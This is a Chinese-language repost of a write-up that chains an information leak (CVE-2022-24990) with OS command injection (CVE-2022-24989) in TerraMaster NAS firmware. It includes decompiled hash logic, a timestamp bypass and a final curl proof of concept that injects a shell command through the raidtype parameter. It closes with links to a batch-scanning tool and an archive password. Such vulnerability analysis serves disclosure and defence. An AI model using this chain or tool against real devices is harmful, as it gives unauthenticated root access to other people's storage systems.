目录导航
CVE-2022-24990:TerraMaster TOS 通过 PHP 对象实例化执行未经身份验证的远程命令.
介绍
这份报告解释了 Octagon Networks 的研究人员如何能够链接两个有趣的漏洞,以在运行 TOS 版本 4.2.29 的TerraMaster NAS 设备上以 root 身份实现未经身份验证的远程命令执行。现在为 4.2.31 分发补丁。
分析 PHP 文件
从官方下载站点下载最新TOS包的安装包并使用binwalk解压后,我们可以看到平台使用了带有PHP脚本的nginx服务器。PHP 脚本在磁盘上加密。在解密它们并分析它们的内容后,有一个有趣的 php 脚本——/usr/www/module/api.php。
该脚本以下列方式开始解析 uri 组件。
$in = router();
$URI = $in['URLremote'];
if (!isset($URI[0]) || $URI[0] == '')
$URI[0] = $default_controller;
if (!isset($URI[1]) || $URI[1] == '')
$URI[1] = $default_action;
define('Module', $URI[0]);
define('Action', $URI[1]);
$class = Module;
$function = Action;
这router 函数解析获取参数并以这样的方式分配它们,如果请求是http://target/module/api.php?XXXX/YYYY,那么$class将是 XXXX,并且$function 是 YYYY。
然后它检查函数是否在一个数组中NO_LOGIN_CHECK,如果不是,则设置请求模式 到 1. 这将是稍后漏洞利用的重要细节。
$GLOBALS['NO_LOGIN_CHECK'] = array(
"webNasIPS",
"getDiskList",
"createRaid",
"getInstallStat",
"getIsConfigAdmin",
"setAdminConfig",
"isConnected"
);
if (!in_array($function, $GLOBALS['NO_LOGIN_CHECK'])) {
define('REQUEST_MODE', 1);
} else {
define('REQUEST_MODE', 0);
}
然后它实例化由$class并调用由$function
$instance = new $class();
if (!in_array($function, $class::$notHeader)) {
#防止请求重放验证...
if (tos_encrypt_str($_SERVER['HTTP_TIMESTAMP']) != $_SERVER['HTTP_SIGNATURE'] || $_SERVER['REQUEST_TIME'] - $_SERVER['HTTP_TIMESTAMP'] > 300) {
$instance->output("Illegal request, timeout!", 0);
}
} $instance->$function();
这里要注意的一件事是这条线if ( ! in_array ( $function, $class::$notHeader )) { . 如果我们的函数不在名称为的数组中$notHeader,然后将进行检查。它获取 TIMESTAMP http 标头并将其传递给一个名为tos_encrypt_str,并将函数的输出与 SIGNATURE http 标头中的值进行比较。然后它检查时间戳是否不超过 5 分钟。这tos_encrypt_str 是一个自定义的散列函数,后面我们会来分析,搞清楚SIGNATURE是如何创建的。
寻找具有可以通过这种方式调用的class的 php 脚本,我遇到了/usr/www/include/class/mobile.class.php. 首先,它有两个方法名称数组,$notCheck和$notHeader.
static $notCheck = [
"webNasIPS", "getDiskList", "createRaid", "getInstallStat",
"getIsConfigAdmin", "setAdminConfig", "isConnected", 'createid',
'user_create', 'user_bond', 'user_release', 'login',
'logout', 'checkCode', "wapNasIPS"
];
//不验证头信息是否匹配...
static $notHeader = [
"fileDownload", "videoPlay", "imagesThumb",
"imagesView", "fileUpload", "tempClear",
"wapNasIPS", "webNasIPS", "isConnected"
];
然后它在其构造函数中进行三个检查。
if (!in_array(Action, self::$notHeader)) {
if (!strstr($_SERVER['HTTP_USER_AGENT'], "TNAS") || !isset($_SERVER['HTTP_AUTHORIZATION']) || $this->REQUESTCODE != $_SERVER['HTTP_AUTHORIZATION']) {
$this->output("Illegal request, please use genuine software!", false);
}
}
第一个检查确保如果调用的方法名称不在$notHeader数组,它测试用户代理 http 标头是否为 ‘TNAS’ 并且 AUTHORIZATION 标头等于$this – >请求代码. 否则它会退出并显示错误消息。AUTHORIZATION 标头稍后会很重要。现在,让我们进行第二次检查。
if (REQUEST_MODE) {
if (!isset($_SESSION)) {
$this->output("session write error!", false);
} else {
$this->user = &$_SESSION['kod_user'];
}
if (isset($this->in['PHPSESSID'])) {
$this->sessionid = $this->in['PHPSESSID'];
}
}
如果请求模式 设置,然后检查用户是否登录。否则它将退出。最后的检查:
if (!in_array(Action, self::$notCheck)) {
if (!$this->loginCheck()) {
$this->output("login is timeout", 0);
}
}
它检查方法名称是否在$notCheck,如果不是,则退出并返回错误。
严重信息泄露:CVE-2022-24990
所以,有了这两条php脚本链的知识,我们就知道了“webNasIPS”、“getDiskList”、“createRaid”、“getInstallStat”、“getIsConfigAdmin”、“setAdminConfig”、“isConnected”这七个函数在NO_LOGIN_CHECK数组在api.php, 并将设置请求模式为 0,通过其中一项检查移动的。class.php. 在进一步检查这些功能后,webNasIPS是唯一同时在$notCheck和$notHeader数组移动的。class.php的构造函数,它可以有效地通过两个剩余的检查。让我们调用 webNasIPS 并看看它返回什么。
$ curl -vk 'http://XXXX/module/api.php?mobile/webNasIPS' -H 'User-Agent: TNAS' * Trying XXXX... * Connected to 127.0.0.1 (127.0.0.1) port 22056 (#0)
> GET /module/api.php?mobile/webNasIPS HTTP/1.1
> Host: 127.0.0.1:22056
> User-Agent: TNAS < HTTP/1.1 200 OK < Date: Mon, 10 Jan 2022 14:10:40 GMT < Content-Type: application/json; charset=utf-8 < Transfer-Encoding: chunked < Connection: keep-alive < X-Powered-By: TerraMaster * Connection #0 to host 127.0.0.1 left intact {"code":true,"msg":"webNasIPS successful","data":"NOTIFY Message\nIFC:10.0.2.2\nADDR:525400123456\nPWD:$1$2kc1Zqe8$gighkBlDDDFHpG3RkZtws1\nSAT:1\nDAT:[{\"hostname\":\"ubuntu1604-aarch64\",\"firmware\":\"TOS3_A1.0_4.2.17\",\"sn\":\"\",\"version\":\"2110301418\"},{\"network\":\"eth0\",\"ip\":\"10.0.2.15\",\"mask\":\"255.255.255.0\",\"mac\":\"52:54:00:12:34:56\"},{\"service\":[{\"name\":\"http_ssl\",\"url\":\"\",\"port\":\"5443\"},{\"name\":\"http\",\"url\":\"XXXX\",\"port\":\"8181\"},{\"name\":\"sys\",\"url\":\"XXXX\",\"port\":\"8181\"},{\"name\":\"channel\",\"url\":\"\",\"port\":0},{\"name\":\"pt\",\"url\":\"\",\"port\":0},{\"name\":\"ftp\",\"url\":\"\",\"port\":21},{\"name\":\"web_dav\",\"url\":\"\",\"port\":0},{\"name\":\"smb\",\"url\":\"\",\"port\":0}]}]","time":2.920037031173706}
它返回了很多有趣的数据。我们来看看函数 webNasIPS
function webNasIPS() {
if (strstr($_SERVER['HTTP_USER_AGENT'], "TNAS")) {
$core = new core();
$dataSheet[0] = [
"hostname" => $core->_hostname(),
"firmware" => $core->_version(),
"sn" => $core->_system_product_name(),
"version" => $core->_VersionNumber()
];
$defaultgw = $core->_default_RJ45();
$eth = $core->_netlist($defaultgw);
$dataSheet[1] = array(
"network" => $defaultgw,
"ip" => $eth['ip'],
"mask" => $eth['mask'],
"mac" => $eth['mac']
);
$dataSheet[2] = array("service" => $this->_getservicelist());
$ifc = $_SERVER['REMOTE_ADDR'];
$addr = preg_replace("/[:\n\r]+/", "", file_get_contents("/sys/class/net/eth0/address"));
$pwd = $this->REQUESTCODE;
if (!file_exists("/tmp/databack/complete")) {
$sat = -1;
} else if (!empty($this->_exec("df-json | awk '/\/mnt\/md/'"))) {
$sat = !file_exists(USER_SYSTEM . '/install.lock') ? 2 : 1;
} else {
$sat = 0;
} $dat = addslashes(json_encode($dataSheet));
$tpl = "NOTIFY Message\\nIFC:$ifc\\nADDR:$addr\\nPWD:$pwd\\nSAT:$sat\\nDAT:$dat";
$this->output("webNasIPS successful", true, $tpl);
}
$this->output("webNasIPS failed", false, "");
}
它返回 TOS 固件版本、默认网关接口的 IP 和 mac 地址、正在运行的服务及其绑定地址和端口,以及一个变量$$pwd其中包含的值$this – >请求代码. 在查明出处后请求代码,我们看到它被设置在应用。class.php
这_获取密码函数本质上告诉 REQUESTCODE 是管理员密码的哈希值。这使得上述信息泄露成为一件非常可怕的事情。
查找操作系统命令注入:CVE-2022-24989
如果我们之前记得,其中一项检查是移动的。class.php是:
if (!in_array(Action, self::$notHeader)) {
if (!strstr($_SERVER['HTTP_USER_AGENT'], "TNAS") || !isset($_SERVER['HTTP_AUTHORIZATION']) || $this->REQUESTCODE != $_SERVER['HTTP_AUTHORIZATION']) {
$this->output("Illegal request, please use genuine software!", false);
}
}
自从 webNasIPS给我们 REQUESTCODE 没有身份验证,我们现在可以从我们列出的七个函数中调用它们NOT_LOGIN_CHECK并且在$notCheck数组,但不在$notHeader 排列。createRaid 是实现这一点的功能之一。
function createRaid() {
$vol = new volume();
if (!isset($this->in['raidtype']) || !isset($this->in['diskstring'])){
$this->output("Incomplete parameters", false);
}
$ret = $vol->volume_make_from_disks($this->in['raidtype'], $filesystem, $disks, $volume_size);
}
createRaid 接受两个 POST 参数raidtype和diskstring并call $vol->volume_make_from_disks与价值raidtype型作为第一个参数。让我们仔细看看volume_make_from_disks定义在体积。class.php.
function volume_make_from_disks($level, $fs, $disks, $volume_size) {
$this->fun->_backexec("$_makemd -s{$volume_size} -l{$level} -b -t{$fs} {$diskItems} &");
}
它接受第一个参数并将其插入到字符串中以调用另一个函数$this->fun->_backexec是定义在功能 class.php.
function _backexec($command) {
if (strstr($command, "regcloud")) {
@system("killall -9 regcloud");
}
$fp = popen($command, "w");
if ($fp == FALSE) return FALSE;
pclose($fp);
return TRUE;
}
_backexec 函数将接收到的参数传递给爆破 没有任何消毒。因此,它容易受到操作系统命令注入的攻击。
绕过时间戳标头检查
我们现在已经将信息泄漏(管理员密码哈希)与操作系统注入漏洞联系起来。但我们必须回到api.php 我们说过我们将在稍后查看的时间戳标头检查。
$instance = new $class();
if (!in_array($function, $class::$notHeader)) {
#防止请求重放验证...
if (tos_encrypt_str($_SERVER['HTTP_TIMESTAMP']) != $_SERVER['HTTP_SIGNATURE'] || $_SERVER['REQUEST_TIME'] - $_SERVER['HTTP_TIMESTAMP'] > 300) {
$instance->output("Illegal request, timeout!", 0);
}
}
$instance->$function();
api.php 确保如果方法名不在class的$notHeader数组,它将检查 TIMESTAMP 标头不超过 300 秒(5 分钟),并且 SIGNATURE 标头必须等于tos_encrypt_str 对 TIMESTAMP 值的函数调用。现在,我们遇到了三个问题。
- 我们必须得到机器的时间
- 我们必须知道如何tos_encrypt_str 被调用,并以任意值调用它
- 无论时差如何,我们都必须从机器的时间计算出正确的 TIMESTAMP
让我们从 tos_encrypt_str 开始。
找出自定义哈希函数
搜索时tos_encrypt_str,我们意识到它没有在 PHP 脚本中定义。在谷歌搜索之后,我们意识到它不在默认和常见的 php 扩展列表中。这使我们得出结论,它是铁威马自定义 PHP 扩展之一中的一个函数。列出加载的 PHP 扩展:
$ php -m
...
pgsql
Phar
php_terra_master
posix
redis
...
扩展名php_terra_master.so伸出。它导出一个函数,tos_encrypt_str.
$ php -r 'var_dump((new ReflectionExtension("php_terra_master"))->getFunctions());'
array(1) {
["tos_encrypt_str"] => object(ReflectionFunction)
#2 (1) {
["name"]=> string(15) "tos_encrypt_str"
}}
打电话tos_encrypt_str 会告诉我们它返回一个哈希值。
$ php php -r 'echo tos_encrypt_str("XXXX") . PHP_EOL;'
6873abbd2da7dca265b78e64ead3729b
在 IDA 中打开共享对象,并搜索字符串tos_encrypt_str,我们发现哈希函数是sub_3738.
result = zend_parse_parameters(v3, “s”, &v8, &v10);
if ( (_DWORD)result != -1 ) {
v5 = (const char *)sub_3694(&v9);
php_sprintf(v11, “%s%s”, v5, v8);
v6 = (const char *)sub_2348(v11);
v7 = zend_strpprintf(0LL, “%s”, v6);
它需要我们的字符串从zend_parse_parameters, 并将其传递给php_sprintf(使用变量v8)。在 php_sprintf 调用之前,有一个函数调用sub_3694,其返回值作为参数提供给 php_sprintf 调用,并带有我们的字符串。让我们来看看它。
__int64 __fastcall sub_3694(__int64 a1) {
int v2;
// w21 const char *v3;
// x0 char v5[40];
// [xsp+38h] [xbp+38h]
BYREF v2 = socket(2, 1, 0);
if ( (v2 & 0x80000000) != 0 ) {
v3 = "socket";
LABEL_5: perror(v3);
return 0LL;
}
strcpy(v5, "eth0");
if ( (ioctl(v2, 0x8927uLL, v5) & 0x80000000) != 0 ) {
v3 = "ioctl";
goto LABEL_5;
}
php_sprintf(a1, "%02x%02x%02x", (unsigned __int8)v5[21], (unsigned __int8)v5[22], (unsigned __int8)v5[23]);
return a1;
}
该函数获取接口的mac地址eth0 并以十六进制返回最后 3 个字节(设备特定部分)。然后php_sprintf在 sub_3738 调用中,使用我们的字符串将其格式化为最终字符串以将其提供给sub_2348. 因此,如果一个设备的 eth0 的 mac 地址是55:44:33:12:34:56并且我们要散列的字符串是XXXX,那么最终提供给实际散列函数 (sub_2348) 的字符串将是123456XXXX。
获取mac的后半部分
tos_encrypt_str 使用 eth0 的 MAC 地址的后半部分允许每个铁威马设备为同一字符串派生不同的哈希值。这可以防止我们使用任意搅拌来调用函数,因为我们需要 mac 地址。
我们很幸运,webNasIPS,它泄露了管理员密码哈希,也给了我们默认网关接口的mac地址,通常是eth0。有了 MAC 地址的后半部分,我们可以编写一个小钩子来调用 tos_encrypt_str 与我们想要生成哈希的任何字符串值。
function webNasIPS() {
$dataSheet[1] = array(
"network" => $defaultgw,
"ip" => $eth['ip'],
"mask" => $eth['mask'],
"mac" => $eth['mac'
]);
}
另一个信息泄漏:机器的时间
现在我们可以为任何铁威马设备的任意字符串生成正确的哈希值,剩下的唯一部分就是时间戳值。在某些铁威马 TOS 设备上,有一个日期标头告诉我们目标机器同步到哪个时区,因此我们可以与受害者同步时间并获得准确的时间戳。但是,在铁威马设备上,它已经过强化,并且日期 标头被剥离,因此我们不容易弄清楚机器同步到哪个时区。
在重放请求时,我们意识到以结果为失败的方式向这些函数中的任何一个发送请求将导致机器被泄露的时间。这是一个简单的调用请求createRaid没有 AUTHORIZATION、TIMESTAMP 和 SIGNATURE 标头。
$ curl -k 'http://127.0.0.1:22056/module/api.php?mobile/createRaid' | jq -r
{
"code": false,
"msg": "Illegal request, please use genuine software!",
"data": [],
"time": 0.00028896331787109375,
"ctime": "2022-01-10 23:00:38"
}
在请求中,有一个值为时间,其中包含 24 小时格式的机器日期。
现在,有了我们手头的所有部分,剩下的唯一任务就是计算 epoch 中的时间戳,而不管机器的时区如何。
计算时间戳
为此,我们可以使用任何 unix时间戳计算器。这些是执行此操作的步骤。
- 我们把机器的时间从时间 并将其转换为纪元时间
- 我们计算自己的时间(正式时间和纪元)(例如:使用 PHP 的日期功能:php -r ‘回声时间()。“”。日期(“Ymd H:i:s”)。PHP_EOL;’)
- 我们从目标机器中减去我们机器的纪元时间
- 我们把上面计算的减法结果转换成相对时间
- 我们将相对时间添加/减去我们机器的正式时间
- 我们将上述计算的结果转换为纪元时间
- 我们现在有了正确的纪元时间。我们使用机器的后半部分mac计算这个epoch时间的hash
- 我们调用createRaid 我们的有效载荷在raidtype
POC
最终的有效载荷将如下所示。
$ curl -vk 'http://XXXX/module/api.php?mobile/createRaid' -H 'User-Agent: TNAS' -H 'AUTHORIZATION: $1$2kc1Zqe8$gi6hkBlDDDFHpG3RkZtws1' -d 'raidtype=;id>/tmp/a.txt;&diskstring=XXXX' -H 'TIMESTAMP: 1642335373' -H 'SIGNATURE: 473a6d90ede9392eebd8a7995a0471fe' | jq -r
exe工具
CVE-2022-24990-POC
仅仅是poc,并不是exp
windows系统使用cve-2022-24990.exe
Linux系统使用cve-2022-24990
使用很简单
-u 单目标扫描
-f 批量扫描
-t 线程数量,默认20
https://github.com/VVeakee/CVE-2022-24990-POC
解压密码:www.ddosi.org
https://yzzpan.com/#sharefile=fYAIFrn4_37178

转载请注明出处及链接